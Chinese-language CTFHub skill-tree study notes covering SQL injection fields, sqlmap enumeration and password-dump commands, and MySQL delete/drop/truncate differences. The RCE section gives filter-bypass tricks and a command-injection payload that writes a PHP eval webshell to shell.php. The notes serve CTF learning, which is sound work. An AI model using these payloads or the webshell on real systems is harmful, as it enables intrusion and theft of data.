CTFHub技能树笔记
编码¶
Text Only | |
---|---|
1 2 3 4 5 6 7 |
|
SQL注入¶
column_name : 列的名称
Information_schema.columns : 表示所有的列的信息
Information_schema : 表示所有信息,包括库、表、列
Information_schema.tables : 表示所有的表的信息
table_schema : 数据库的名称
table_name : 表的名称
关于注释:GET(--+
),POST(#
)
@@basedir 得到mysql路径
sqlmap基础命令¶
查询sqlmap是否存在注入命令 sqlmap.py -u url/?id=1
查询当前用户下的所有数据库 sqlmap.py -u url/?id=1 --dbs
获取数据库的表名 sqlmap.py -u url/?id=1 -D (数据库名) --tables
获取表中的字段名 sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) --columns
获取字段的内容 sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) -C (表内的字段名) --dump
查询数据库的所有用户 sqlmap.py -u url/?id=1 --users
查询数据库的所有密码 sqlmap.py -u url/?id=1 --passwords
查询数据库名称 sqlmap.py -u url/?id=1 --current-db
—cookie –level 2
—ua lever 3
sqlmap可以在请求中伪HTTP的Referer头,当--level参数大于等于3时,会尝试进行refer注入
–referer level 5
有的时候扫不出注入点,也是需要提升 level 等级
脚本名: space2comment.py 作用:用注释/**/替换空格字符' '
绕过空格过滤的方法 /**/、()、%0a
MySQL 删除表¶
delete,drop,truncate 都有删除表的作用,区别在于:
- 1、delete 和 truncate 仅仅删除表数据,drop 连表数据和表结构一起删除,打个比方,delete 是单杀,truncate 是团灭,drop 是把电脑摔了。
- 2、delete 是 DML 语句,操作完以后如果没有不想提交事务还可以回滚,truncate 和 drop 是 DDL 语句,操作完马上生效,不能回滚,打个比方,delete 是发微信说分手,后悔还可以撤回,truncate 和 drop 是直接扇耳光说滚,不能反悔。
- 3、执行的速度上,drop>truncate>delete,打个比方,drop 是神舟火箭,truncate 是和谐号动车,delete 是自行车。
RCE¶
过滤 cat
方法一当cat被过滤后,可以使用一下命令进行读取文件的内容 (1)more:一页一页的显示的显示档案内容 (2)less:与more类似,但是比more更好的是,他可以[pg dn][pg up]翻页 (3)head:查看头几行 (4)tac:从最后一行开始显示,可以看出tac是cat的反向显示 (5)tail:查看尾几行 (6)nl:显示的时候,顺便输出行号 (7)od:以二进制的方式读取档案内容 (8)vi:一种编辑器,这个也可以查看 (9)vim:一种编辑器,这个也可以查看 (10)sort:可以查看 (11)uniq:可以查看
方法二 一句话木马 构造payload如下:
CTFHub RCE –(命令注入,过滤cat): 127.0.0.1&echo "<?php @eval(\$_POST['a']);?>" >>shell.php
方法三 反斜杠 : 例如 ca\t fl\ag.php 连接符: 例如 ca’‘t fla‘’g.txt
过滤空格,其实就
;
就行呀
当空格被过滤后,可以使用一下命令进行读取文件的内容
<
<>
>
重定向符
%09
(需要php环境)(tab)
%20
(space)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
PS:为什么我只有<
可以